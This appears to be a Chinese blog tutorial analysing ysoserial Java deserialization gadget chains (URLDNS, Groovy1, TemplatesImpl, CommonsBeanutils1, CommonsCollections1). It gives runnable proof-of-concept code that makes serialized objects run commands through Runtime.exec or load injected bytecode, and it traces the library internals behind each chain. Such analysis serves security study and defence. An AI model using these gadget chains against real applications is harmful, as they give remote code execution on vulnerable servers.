目录

ysoserial反序列化链分析

URLDNS分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void poc() throws Exception {
        String url = "http://76c61980.dns.1433.eu.org";
        HashMap hashMap = new HashMap();
        URL u = new URL(url);
        setFieldValue(u, "hashCode", 1);
        hashMap.put(u, "");
        setFieldValue(u, "hashCode", -1);
        Path path = Paths.get("/tmp/URLDNS.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(hashMap);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();// 模拟反序列化
    }

https://img.mi3aka.eu.org/2022/12/df6e8ebbca38d5e28c25a4c2e5952c24.png

HashMap#readObject在插入数据时会调用URL#hashCode方法,而URL#hashCode方法首先对hashCode进行判断,如果等于-1则进行handler.hashCode即DNS查询

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*HashMap#readObject*/
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            K key = (K) s.readObject();
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
/*URL#hashCode*/
    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);//URLStreamHandler
        return hashCode;
    }

    protected int hashCode(URL u) {//URLStreamHandler#hashCode
        int h = 0;

        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        InetAddress addr = getHostAddress(u);//执行DNS查询
    }

因此在new URL(url)创建对象后,先通过反射将URL.hashCode设置为其他数值,避免在HashMap#putVal时进行DNS查询,在putVal后,重新将URL.hashCode设置为-1,在反序列化时能够正常进行DNS查询

动态代理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package learn.DynamicProxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class DynamicProxy {
    public static void main(String[] args) {
        Instance ins = new Instance();
        inter proxyInstance = (inter) Proxy.newProxyInstance(inter.class.getClassLoader(), new Class[] { inter.class },
                new InvocationHandler() {
                    /**
                     * newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
                     * CLassLoader loader  指定动态代理类的类加载器
                     * Class<?> interfaces 指定动态代理类需要实现的所有接口
                     * InvocationHandler h 处理调用方法的InvocationHandler对象
                     */
                    @Override
                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                        /**
                         * 所有的流程控制都在invoke方法中
                         * proxy  代理类
                         * method 正在调用的方法
                         * args   被调用方法的参数列表
                         */
                        if (method.getName().equals("func1")) {
                            System.out.println("proxy-func1");
                        } else if (method.getName().equals("func2")) {
                            System.out.println("proxy-func2");
                        }
                        return null;
                    }
                });
        ins.func1();
        ins.func2();
        proxyInstance.func1();
        proxyInstance.func2();
    }
}

interface inter {
    void func1();
    void func2();
}

class Instance implements inter {
    @Override
    public void func1() {
        System.out.println("ins-func1");
    }

    @Override
    public void func2() {
        System.out.println("ins-func2");
    }
}

https://img.mi3aka.eu.org/2023/01/3e3e49e2104696fc4b9c8a5e1179e0b7.png

Groovy1分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class Groovy1 {
    public static void main(String[] args) {
        MethodClosure methodClosure = new MethodClosure("touch /tmp/Groovy1", "execute");// 生成了一个MethodClosure对象,传入command和"execute"
        final ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");// 调用org.codehaus.groovy.runtime#ConvertedClosure并将methodName设置为"entrySet"
        Class<?>[] interfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        interfaces[0] = Map.class;// 将动态代理要实现的接口设置为Map
        Object o = Proxy.newProxyInstance(Groovy1.class.getClassLoader(), interfaces, closure);// 创建动态代理,invoke方法为ConvertedClosure#invoke
        final Map map = Map.class.cast(o);// 将代理对象转换为一个Map对象
        map.entrySet().iterator();// 调用了entrySet方法,实际进入了代理对象的invoke方法,ConvertedClosure#Invoke
    }
}

https://img.mi3aka.eu.org/2023/01/d1dfd39235a7d45c28f774a512dc7ae7.png

分析invoke方法

map.entrySet().iterator()调用了entrySet方法,实际进入了代理对象的invoke方法,即ConvertedClosure#Invoke

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
final ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

//org.codehaus.groovy.runtime
public class ConvertedClosure extends ConversionHandler implements Serializable {
    public ConvertedClosure(Closure closure, String method) {
        super(closure);// 将closure保存为this.delegate
        this.methodName = method;// methodName为entrySet
    }
    public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {
        if (methodName!=null && !methodName.equals(method.getName())) return null;
        return ((Closure) getDelegate()).call(args);//调用this.delegate.call(args),即(Closure) MethodClosure.call
    }
}

//org.codehaus.groovy.runtime
public abstract class ConversionHandler implements InvocationHandler, Serializable {
    public ConversionHandler(Object delegate) {
        this.delegate = delegate;
    }
    public abstract Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable;
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {// 动态代理
        ...
        if (!checkMethod(method)) {// 检查该方法是否是java.lang.Object的核心方法,当前method为java.util.Map#entrySet,check返回false,因此进入invokeCustom
            try {
                return invokeCustom(proxy, method, args);// 进入ConvertedClosure的invokeCustom方法
            }
        }
    }
}

https://img.mi3aka.eu.org/2023/01/d80b919485fdbf10529b8a45d1d8405a.png

分析call方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//groovy.lang
public abstract class Closure<V> extends GroovyObjectSupport implements Cloneable, Runnable, GroovyCallable<V>, Serializable {
    public V call(Object... args) {
        try {
            return (V) getMetaClass().invokeMethod(this,"doCall",args);
            //getMetaClass()返回MetaClass的值,为MetaClassImpl
            //进入MetaClassImpl#invokeMethod
            //this 为 MethodClosure
        }
    }
}

//groovy.lang
public class MetaClassImpl implements MetaClass, MutableMetaClass {
    public Object invokeMethod(Object object, String methodName, Object[] originalArguments) {
        return invokeMethod(theClass, object, methodName, originalArguments, false, false);
    }
    public Object invokeMethod(Class sender, Object object, String methodName, Object[] originalArguments, boolean isCallToSuper, boolean fromInsideClass) {
        /*
         * sender = theClass (MethodClosure)
         * object = MethidClosure{method: "execute",owner: "touch /tmp/Groovy1"}
         * methodName = docall
         */
        MetaMethod method = null;
        if (method==null) {
            method = getMethodWithCaching(sender, methodName, arguments, isCallToSuper);
        }
        final boolean isClosure = object instanceof Closure;// MethidClosure是否为Closure的子类
        if (isClosure) {
            final Closure closure = (Closure) object;
            final Object owner = closure.getOwner();// touch /tmp/Groovy1
            if (CLOSURE_CALL_METHOD.equals(methodName) || CLOSURE_DO_CALL_METHOD.equals(methodName)) {// methodName = docall = CLOSURE_DO_CALL_METHOD
                final Class objectClass = object.getClass(); // objectClass = MethodClosure
                if (objectClass == MethodClosure.class) {
                    final MethodClosure mc = (MethodClosure) object;
                    methodName = mc.getMethod(); // MethodClosure.getMethod() = "execute"
                    final Class ownerClass = owner instanceof Class ? (Class) owner : owner.getClass();
                    final MetaClass ownerMetaClass = registry.getMetaClass(ownerClass);
                    return ownerMetaClass.invokeMethod(ownerClass, owner, methodName, arguments, false, false);
                    /*
                     * ownerMetaClass为MetaClassImpl,因此进行递归调用,直到object instanceof Closure不满足
                     * object为上一次传入的owner实参,因此在下一次调用时,owner为字符串"touch /tmp/Groovy1",显然不满足instanceof条件,因此跳出if语句
                     */
                }
                ...
            }
        }
        if (method != null) {
            return method.doMethodInvoke(object, arguments);
        } else {
            return invokePropertyOrMissing(object, methodName, originalArguments, fromInsideClass, isCallToSuper);
        }
    }
}

分析doMethodInvoke方法

https://img.mi3aka.eu.org/2023/01/4c750f0dbfbc2b06ce6280e85fff4b2f.png

进入dgm$748#doMethodInvoke,该方法会调用ProcessGroovyMethods.executeruntime.exec达到执行命令的目的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class dgm$748 extends GeneratedMetaMethod {
    public final Object doMethodInvoke(Object var1, Object[] var2) {
        this.coerceArgumentsToClasses(var2);
        return ProcessGroovyMethods.execute((String)var1);
    }
}

public class ProcessGroovyMethods extends DefaultGroovyMethodsSupport {
    public static Process execute(final String self) throws IOException {
        return Runtime.getRuntime().exec(self);
    }
}

利用TemplatesImpl加载字节码

参考链接 TemplatesImpl利用链学习

分析

默认的defineClassjava.lang.ClassLoader的函数,而且是protected属性,无法直接调用

TemplatesImpl类中有一个内部类TransletClassLoader重写了defineClass,且其定义域为default

1
2
3
4
5
6
    static final class TransletClassLoader extends ClassLoader {
        ...
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

defineClass查找用法,发现其仅在defineTransletClasses中被使用

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    private void defineTransletClasses() throws TransformerConfigurationException {
		...
        TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                //_tfactory : A reference to the transformer factory that this templates object belongs to. 因此 _tfactory 指向 TransformerFactoryImpl 的实例
            }
        });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);//_bytecodes为字节码数组
                final Class superClass = _class[i].getSuperclass();
				...
            }
			...
        }
		...
    }

查找defineTransletClasses引用,共有三条直接利用链

https://img.mi3aka.eu.org/2022/12/8df2d301f93b98fe4c28e7d89bb4eac8.png

  1. private synchronized Class[] getTransletClasses()

TemplatesImpl中已经没有调用getTransletClasses()的方法

https://img.mi3aka.eu.org/2022/12/55a3164d8973db90118ef986e1e10c36.png

  1. public synchronized int getTransletIndex()
1
2
3
4
5
6
    public synchronized int getTransletIndex() {
        try {
            if (_class == null) defineTransletClasses();
        }
        return _transletIndex;
    }

https://img.mi3aka.eu.org/2022/12/c5b29972d8f2857c46a8df8f707cc171.png

https://img.mi3aka.eu.org/2022/12/6083f5ba623b2603bd6d1c9462514a96.png

成功执行defineClass但没有输出,因为在defineClass被调用的时候,类对象是不会被初始化的(相当于只是将字节码转换成Java类,没有进行实例化操作)

需要通过newInstance()等方法调用构造函数

  1. private Translet getTransletInstance()

getTransletInstancenewTransformer调用,通过newTransformer构造调用链,并通过_class[_transletIndex].newInstance()调用构造函数,执行恶意代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;//_name 不能为 null

            if (_class == null) defineTransletClasses();//调用defineclass

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//调用构造函数
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        ...
    }

    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer;
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

通过javassist生成字节码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package learn.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;

import java.io.IOException;
import java.util.Base64;

public class GenerateClass {
    public static class AbstractTransletExt extends AbstractTranslet {
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }

        public AbstractTransletExt() {
            super();
            System.out.println("AbstractTransletExt");
        }
    }


    public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTransletExt.class));
        CtClass clazz = pool.get(AbstractTransletExt.class.getName());
        System.out.println(new String(Base64.getEncoder().encode(clazz.toBytecode())));
    }
}

https://img.mi3aka.eu.org/2023/01/9c9e3864cd06e5429fd6658434b5eef0.png

通过newTransformer加载字节码并进行实例化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package learn.TemplatesImpl;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplDemo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


    public static void getTransletIndex(TemplatesImpl obj, byte[] code) throws Exception {
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.getTransletIndex();
    }

    public static void newTransformer(TemplatesImpl obj, byte[] code) throws Exception {
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "asdf");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAA...wAJ");
        TemplatesImpl obj = new TemplatesImpl();
//        getTransletIndex(obj, code);
        newTransformer(obj, code);
    }
}

https://img.mi3aka.eu.org/2023/01/c4c75c34d67828f418b2998b755c34e6.png

CommonsBeanutils1分析

利用链如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package learn.CommonsBeanutils1;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;


public class CommonsBeanutils1 {
    public static class AbstractTransletExt extends AbstractTranslet {
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }

        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        }

        public AbstractTransletExt() {
            super();
            System.out.println("CommonsBeanutils1");
        }
    }

    public static TemplatesImpl getTemplateImpl() throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTransletExt.class));
        CtClass clazz = pool.get(AbstractTransletExt.class.getName());
        setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});
        setFieldValue(obj, "_name", "asdf");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        return obj;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl template = getTemplateImpl();//生成待调用的TemplatesImpl
        BeanComparator comparator = new BeanComparator();//生成比较器BeanComparator供PriorityQueue使用
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);//生成PriorityQueue并调用BeanComparator进行比较
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");//设置BeanComparator比较函数为TemplatesImpl中的getOutputProperties
        setFieldValue(queue, "queue", new Object[]{template, template});//写入TemplatesImpl

        Path path = Paths.get("/tmp/CommonsBeanutils1.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(queue);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();//模拟反序列化
    }
}

PriorityQueue分析

PriorityQueue会对队列中的元素用比较器Comparator进行排序,利用链中PriorityQueue使用的是CommonsBeanutils中的比较器BeanComparator

分析PriorityQueue#readObject

函数调用栈为readObject->heapify->siftDown->siftDownUsingComparator->comparator.compare

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        s.readInt();
        queue = new Object[size];
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        heapify();
    }
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
    private void siftDown(int k, E x) {
        if (comparator != null)//comparator指向CommonsBeanutils的比较器BeanComparator
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

https://img.mi3aka.eu.org/2023/01/7f5db93618f7d044a60e2bcab0bfa275.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)//调用CommonsBeanutils中的BeanComparator#compare
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

CommonsBeanutils分析

PriorityQueue#siftDownUsingComparator进入BeanComparator#compare,在PropertyUtils.getProperty通过反射调用getOutputProperties

最终进入newTransformer完成字节码的加载与实例化

https://img.mi3aka.eu.org/2022/12/3ea4d702d700cb98a13043b636f97145.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    public int compare(T o1, T o2) {//o1和o2均为TemplatesImpl
        if (this.property == null) {
            return this.internalCompare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);//this.property为outputProperties
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.internalCompare(value1, value2);
            }
            ...
        }
    }

getProperty演示

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;

public class GetPropertyDemo {
    public static class pro {
        private String name = "pro";
        public String getName(){
            System.out.println(name);
            return name;
        }
    }
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        PropertyUtils.getProperty(new pro(),"name");
    }
}

https://img.mi3aka.eu.org/2023/01/61d2a97df5507da52961daab1bfde2b2.png

因此PropertyUtils.getProperty(o1, this.property)实际执行的是TemplatesImpl#getoutputProperties

1
2
3
4
5
6
7
8
    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();//进入TemplatesImpl#newTransformer,后续利用与前面的利用TemplatesImpl加载字节码一致
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

CommonsBeanutils利用成功

https://img.mi3aka.eu.org/2023/01/4a7038a022b97a70f5789d4b1a495646.png

CommonsCollections1分析

将JDK版本降低到7u80

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class CommonsCollections1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
                        new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
                        new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "touch /tmp/CommonsCollections1" })
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);// 生成代理对象
        handler = (InvocationHandler) constructor.newInstance(Retention.class, map);

        // map.size();//调用代理对象的任意方法从而调用invoke方法
        Path path = Paths.get("/tmp/CommonsCollections1.ser");
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
        out.writeObject(handler);
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
        in.readObject();// 模拟反序列化
    }
}

https://img.mi3aka.eu.org/2023/01/7da7dd9a179d9e9ed8841e7fad1e2acb.png

InvokerTransformer分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package org.apache.commons.collections.functors;

import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        }
    }
}

transform方法通过反射调用任意对象的任意方法

1
2
3
4
5
6
public class InvokerTransformerDemo {
    public static void main(String[] args) {
        InvokerTransformer transformer = new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "touch /tmp/InvokerTransformerDemo" });
        transformer.transform(Runtime.getRuntime());
    }
}

https://img.mi3aka.eu.org/2023/01/ba162860c731a8c9b5ebdbaa3b1ddb62.png

ChainedTransformer分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
	final Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
        new ConstantTransformer(1)
    };

//org.apache.commons.collections.functors
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

ChainedTransformer#transform对传入的参数使用iTransformers[i].transform进行处理,并将处理的结果作为下一次调用的参数

因此将iTransformers设置为InvokerTransformer的数组,即可利用InvokerTransformer#transform进行反射调用

  1. 通过ConstantTransformer获取Runtime.class
1
2
3
4
5
6
7
8
//org.apache.commons.collections.functors
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }
  1. 通过InvokerTransformer调用invoke,对Runtime.class执行getMethod("getRuntime")获取Runtime.class.getRuntime方法实例

  2. 通过InvokerTransformer调用invoke执行Runtime.class.getRuntime获取Runtime实例

  3. 通过InvokerTransformer调用invoke执行exec方法,达到命令执行的目的

InvokerTransformer调用流程可归纳如下

1
2
Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null);
rt.exec("command");

Demo演示

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public class ChainedTransformerDemo {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/ChainedTransformerDemo"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(null);
    }
}

https://img.mi3aka.eu.org/2023/01/ab1f2dd36d7ab6ec0e1c199e1db415e7.png

LazyMap分析

通过LazyMap#decorateChainedTransformer设置为factory变量,通过LazyMap#get方法调用factory#transform从而进入ChainedTransformer#transform

而调用LazyMap#get则是通过后续的动态代理进行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
	final Map innerMap = new HashMap();
	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

//org.apache.commons.collections.map
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }
    public Object get(Object key) {
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);//进入ChainedTransformer#transform
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

动态代理

AnnotationInvocationHandler#invoke中可以通过this.memberValues.get(var4)来调用LazyMap#get

this.memberValues可控,在构造函数中通过var2进行设置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
    Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
    Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);// 生成代理对象
    handler = (InvocationHandler) constructor.newInstance(Retention.class, map);


//sun.reflect.annotation
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {//var1必须为注解类型,且该构造函数不是public,因此通过反射构建对象
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        }
    }

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    ...
            }
        }
    }
}

反序列化

通过readObject中的var4.entrySet()进入动态代理,调用AnnotationInvocationHandler#invoke,从而完成整条反序列化链

用java8运行会报错Exception in thread "main" java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet

因此需要将JDK版本降低到7u80

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField var2 = var1.readFields();
        Class var3 = (Class)var2.get("type", (Object)null);
